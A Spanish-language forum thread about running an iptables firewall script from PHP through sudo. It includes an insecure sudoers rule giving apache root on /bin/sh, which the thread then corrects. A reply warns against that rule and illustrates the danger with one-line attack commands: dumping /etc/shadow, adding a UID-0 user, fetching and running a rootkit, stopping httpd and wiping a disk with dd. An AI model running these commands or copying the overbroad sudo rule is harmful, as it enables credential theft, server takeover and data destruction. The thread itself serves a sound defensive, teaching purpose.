Como ejecutar un script bash de un firewall con php

Imagen de Lord

Forums: 

Saludos a toda la comunidad de software libre, soy principiante en lo referente a la programacion con php y scripts bash. Espero me puedan ayudar en mi inquietud: tengo un script bash de un firewall personalizado y deseo ejecutarlo desde mi browser, es decir: iniciarlo, detenerlo. Para ello estoy llamando a mi script bash desde un archivo php de la siguiente manera:
<?
system ('/var/www/html/prueba/myFirewall start');
?>
Tras ejecutar la linea anterior en mi browser me aparece: Firewall iniciado, aparentemente todo esta bien, pero decidi verificar si no hubo problemas ejecutando:

tail -f /etc/httpd/logs/error_log y me muestra el siguiente error:

iptables v1.3.5: can't initialize iptables table 'filter': Permission denied (you must be root)

revisando informacion por ahi, he encontrado que debo asignarle permisos a mi usuario apache para que pueda ejecutar iptables, lo hice con el visudo de la siguiente manera:

apache ALL=(root) NOPASSWD: /sbin/iptables

realizado estos cambios sigo con el mismo inconveniente. No se que estoy realizando mal, si en la mala asignacion de permisos al apache o en llamar mal al script bash de mi firewall desde php.

Me olvidaba estoy trabajando bajo CentOS 5

El bash que manejo es el siguiente:

#!/bin/sh
#Iptables, "O.S Security" - Copyright 05/10/2007
#Script de prueba para CentOS 5, como firewall local

#Si este script se ejecuta en Redhat o sus distribuciones clones como CentOS, Fedora Core, etc.
#poner "YES", sino poner "NO"
REDHAT="YES"

#Caminos
DMESG="/bin/dmesg"
IPTABLES="`which iptables`"
MODPROBE="/sbin/modprobe"

# Esta parte permite al usuario de redhat llamar al script con
# los parametros: start/stop/restart
if [ X"$REDHAT" = X"YES" ]; then
. /etc/rc.d/init.d/functions
case "$1" in
stop)
action "Apagando firewall:" #echo
$IPTABLES -F
$IPTABLES -P FORWARD DROP
exit 0
;;
status)
#echo "The status command is not supported for iptables"
echo "No disponible en este script"
exit 0
;;
restart|reload)
$0 stop
exec $0 start
;;
start)
action "Iniciando Firewall:" #echo
;;
*)
echo "Usage: firewall (start|stop|restart)"
exit 1
esac
fi

################################################################
#Insertando los modulos. Debe hacerse automaticamente si se requiere
dmesg -n 1 #No saca la bandera de copyright
/sbin/modprobe ip_tables
/sbin/modprobe iptable_filter
/sbin/modprobe ip_conntrack
/sbin/modprobe ip_conntrack_ftp
#
## Vaciar las reglas que puedan existir
#
# Paquetes provenientes del exterior
$IPTABLES -F INPUT
# Paquetes de la red interna hacia el exterior
$IPTABLES -F OUTPUT
# Forwarding/enmascaramiento
$IPTABLES -F FORWARD
#Tabla de NAT
$IPTABLES -t nat -F

#Activando Reglas Basicas
#Matar paquetes con combinaciones de banderas invalidas
$IPTABLES -A INPUT -m state --state INVALID -j DROP
$IPTABLES -A FORWARD -m state --state INVALID -j DROP

# Permitir todas las conexiones en la interfaz local
$IPTABLES -A INPUT -i lo -j ACCEPT

#Eliminar conexiones a la interfaz local desde el mundo exterior
$IPTABLES -A INPUT -d 127.0.0.0/8 -j REJECT

#Habilitar pings si estoy en una LAN
$IPTABLES -A INPUT -p icmp -m icmp --icmp-type any -j ACCEPT

#IPv6 tunneling
#$IPTABLES -A INPUT -p ipv6 -j ACCEPT

#Conexiones
# ssh
#$IPTABLES -A INPUT -p tcp --dport 22 -j ACCEPT
# http
$IPTABLES -A INPUT -p tcp --dport 80 -j ACCEPT
# https
$IPTABLES -A INPUT -p tcp --dport 443 -j ACCEPT
#Webmin
#$IPTABLES -A INPUT -p tcp --dport 10000 -j ACCEPT

#No guardar http ni https pues navegar por largos periodos causan muchas
#conexiones caidas y llenan nuestros logs.
$IPTABLES -A INPUT -p tcp --dport 80 -j REJECT
$IPTABLES -A INPUT -p tcp --dport 443 -j REJECT

#Cerramos rango de los puerto privilegiados
$IPTABLES -A INPUT -p tcp --dport 1:1024
$IPTABLES -A INPUT -p udp --dport 1:1024

#Cerramos otros puertos que esten abiertos en este caso webmin
$IPTABLES -A INPUT -p tcp --dport 10000 -j DROP
$IPTABLES -A INPUT -p udp --dport 10000 -j DROP

##Reglas de captura generales
#iptables viene a estas si no han matcheado en ninguna de las previas
#No tiene sentido guardarlas, no es más que ruido
$IPTABLES -A INPUT -p tcp --syn -m limit --limit 5/minute -j LOG \
--log-prefix "Firewalled packet:"
$IPTABLES -A FORWARD -p tcp --syn -m limit --limit 5/minute -j LOG \
--log-prefix "Firewalled packet:"

#Reject
$IPTABLES -A INPUT -p tcp -j REJECT --reject-with tcp-reset
$IPTABLES -A INPUT -p all -j DROP
$IPTABLES -A -INPUT -j REJECT --reject-with icmp-host-prohibited

$IPTABLES -A FORWARD -p tcp -j REJECT --reject-with tcp-reset
$IPTABLES -A FORWARD -p all -j DROP

#Accept it anyway if it's only output
$IPTABLES -A OUTPUT -j ACCEPT

exit 0

Usó usted ya "sudo <comando> ..." ?

Imagen de a_villacis

Usted no muestra si ha invocado a sudo en el comando de system() de PHP, o dentro del propio script. Si no se usa sudo, no importa qué permisos se le agrege en /etc/sudoers con visudo, no van a tomar efecto, porque sudo nunca se ejecuta. Yo recomiendo que agregue la regla de /etc/sudoers para que ejecute de la siguiente manera:


apache ALL=(root) NOPASSWD: /var/www/html/prueba/myFirewall

y luego también modifique la cadena de system() para que quede así:


<?
system ('sudo /var/www/html/prueba/myFirewall start');
?>

También verifique que en /etc/sudoers está ausente o desactivada la opción requiretty. Si está activa, sudo se negará a ejecutar comando alguno si el proceso que llama no tiene un terminal asociado. Si está presente y activa, se la puede desactivar poniendo un # enfrente de la directiva:


#Defaults requiretty

perl -e '$x = 2.4; print sprintf("%.0f + %.0f = %.0f\n", $x, $x, $x + $x);'

perl -e '$x = 2.4; print sprintf("%.0f + %.0f = %.0f\n", $x, $x, $x + $x);'

A preguntas inteligentes,

Imagen de Monkito

A preguntas inteligentes, respuestas eficientes.

Muy buen post, felicitaciones a ambos, este post es un ejemplo a seguir...

bye, Saludos.

------------
counter.li.org

Cogito Ergo Sum

------------
counter.li.org

Cogito Ergo Sum

Equivocacion mia

Imagen de Lord

Ya solucione mi problema, mis 2 errores fueron: mala asignacion de permisos al sudo y en la mala llamada al script bash desde php.

En el sudo me falto agregar permisos para que el apache ejecute un script bash, para ello agregue:
apache ALL=(root) NOPASSWD: /sbin/iptables, /bin/sh

En 2do lugar modifique la llamada desde php al script:
system("sudo sh ../programa/myFirewall start")

Con esos 2 cambios, funciono a la perfeccion lo que queria. Gracias por asesorarme a_villacis me sirvieron sus tips.

PELIGRO, PELIGRO... Alerta de privilegio excesivo!

Imagen de a_villacis

Disculpe, pero debo de objetar muy fuertemente a la manera en que solucionó usted el problema. En pocas palabras, usted acaba de abrir un gran hueco de seguridad (del tipo de escalado de privilegios) para cualquier script de shell desde el servidor web.

La manera en que había sugerido originalmente daba privilegio de root únicamente al script que inicia y detiene su servicio, y el comando sudo tiene que especificar la ruta completa de este script para que funcione. Esto permite que el script corra como root, y únicamente a ese script en particular.

En cambio, la manera en que usted implementó la solución le da privilegio de root al propio shell en sí. Aunque esto permite que el script de interés corra como root desde el servidor Web, también permite que cualquier otro script de shell corra como root, si su aplicación Web (o cualquier otra en el mismo servidor) de alguna manera falla en validar lo que se pase a system(), u otros comandos de PHP u otros lenguajes de Web, que permiten cadenas arbitrarias para ser ejecutadas. Lo que usted implementó abre la puerta al siguiente escenario:

  • Sistema recibe parámetros para system(), pero falla en validarlos.
  • system("sudo /bin/sh -c 'cat /etc/shadow > /var/www/html/passwords.txt'") o variación de lo mismo.
  • En browser, recoger http://susitioweb.com/passwords.txt
  • Atacante tiene los hashes de las claves de usted y las crackea tranquilamente en su casa...

O qué tal este otro...

  • Atacante construye hash crypt() de clave 'SERVIDORHACKEADO' > HASH
  • Sistema recibe parámetros para system(), pero falla en validarlos.
  • system("sudo /bin/sh -c 'useradd -o -p HASH -u 0 HACKER'")
  • ssh a su servidor web: usuario HACKER password SERVIDORHACKEADO
  • UID de usuario HACKER es 0, por lo tanto ya es root...

O incluso este otro, el más sencillo de todos...

  • Sistema recibe parámetros para system(), pero falla en validarlos.
  • system("sudo /bin/sh -c 'cd /tmp; /usr/bin/wget http://cualquiersitio.com/ruta/rootkit; chmod +x rootkit;./rootkit'")

O si el hacker es buena gente y sólo quiere fregarlo...

  • Sistema recibe parámetros para system(), pero falla en validarlos.
  • system("sudo /bin/sh -c '/sbin/service httpd stop'")
  • Denegación de servicio (DoS) instantáneo, cuando al hacker le de la gana.

O si al contrario, al hacker se le mete el diablo y quiere destruirle su sistema por completo...

  • Sistema recibe parámetros para system(), pero falla en validarlos.
  • system("sudo /bin/sh -c '/bin/dd if=/dev/zero of=/dev/sda'")
  • Su disco en /dev/sda acaba de ser sobreescrito por completo, y su sistema quedó más muerto que si Voldemort le hubiera lanzado el Avada Kedavra.

Más escenarios quedan a la imaginación del hacker.

Con la configuración sudo de su servidor, el sistema está a una sola validación equivocada de ser completamente hackeado. Y no sólo en la configuración de esta aplicación, sino también de cualquier otra en el mismo servidor, incluyendo cualquiera que no haya sido escrita por usted.

La solución que puso usted, implica que tuvo problemas al ejecutar el script porque el propio script no tenía permisos de ejecución. Eso se arregla con chmod +x myFirewall. Le recomiendo encarecidamente que almacene el código del script en una ruta no accesible desde Web, para que el atacante no pueda recogerlo con http://susitioweb/suaplicacion/scripts/myFirewall o algo similar.

perl -e '$x = 2.4; print sprintf("%.0f + %.0f = %.0f\n", $x, $x, $x + $x);'

perl -e '$x = 2.4; print sprintf("%.0f + %.0f = %.0f\n", $x, $x, $x + $x);'

Gracias por la asesoria

Imagen de Lord

Gracias por el consejo, de verdad no cai en cuenta del hueco de seguridad que estaba originando al asignarle permisos de bash al apache, por querer solucionar de una manera sencilla me estaba poniendo la soga al cuello a futuro. Ahora reconfigure nuevamente el sudo siguiendo los pasos que me indico en su 1ra posteada. Gracias nuevamente a_villacis por la asesoria.

script bash pertenezca al usuario apache

Imagen de Lord

Me surgio una nueva inquietud referente a la manera de llamar a mi script firewall mediante la asignacion de permisos al sudo, aqui se planteo ubicar en el sudo la ruta exacta en que se ubica el script que funciona perfectamente.

Ahora mi duda es la siguiente hay alguna manera en q al script firewall pertenezca al usuario apache o a su vez al grupo apache para de cierta manera evitar colocar la ruta completa en el sudo. Planteo esta pregunta debido, a que se me ocurrio tener varios firewalls y mediante cron ejecutarlos a una hora especifica y para evitar poner la ruta de los firewalls en el sudo, me preguntaba si se puede asignar al script bash al apache con los permisos necesarios.

Espero me puedan ayudar con mi inquietud.

Puesto que tu script es

Imagen de acl

Puesto que tu script es invocado por apache, al momento de ejecución corre con permisos de usuario y grupo de apache (los definidos en el archivo de configuración). Como tu script llama a iptables para modificar las tablas del núcleo, es necesario que corra con permisos de root. Los permisos del sistema de archivos de tu script no son relevantes, puede ser dueño cualquier fulano, igual se ejecutará con los permisos de quien lo invoca.

La utilidad sudo justamente te permite ejecutar un comando con los permisos de un usuario distinto al que lo invoca. En este caso, apache invoca a sudo (este es el que corre con permisos de apache), sudo invoca a tu script (con permisos de root, los detalles no son importantes) y con ello tu script puede correr iptables con éxito.

La razón por la que se coloca la ruta completa de tu script tanto en el sudoers como en la invocación de sudo es para que la autorización caiga unívocamente sobre ese programa y no sobre ningún otro que pudiera estar en tu $PATH y que se llame igual.

El hacer que tu script tenga permisos de apache en el sistema de archivos, sin embargo, puede tener consecuencias negativas con respecto a tu seguridad. Si en algún momento en el futuro algún atacante logra ejecutar código mediante tu servidor apache, correrá con esos permisos y podrá modificar el script. Puesto que éste corre con permisos de root gracias a sudo, le da poder ilimitado sobre tu sistema. Yo recomiendo que los ejecutables del sistema sean propiedad de root (y más aún si van a correr con permisos de root).

Tal vez si nos explicas con mayor detalle lo que quieres hacer te podamos dar alguna sugerencia más razonable.
--
haber != a ver
ha != a

Cita: Los permisos del

Imagen de deathUser

[quote]Los permisos del sistema de archivos de tu script no son relevantes, puede ser dueño cualquier fulano, igual se ejecutará con los permisos de quien lo invoca.[/quote]

No es del todo cierto, si se tiene seteado el bit SUID y/o el SGID, pero en general puede decirse que es así ...

bye
:)

Páginas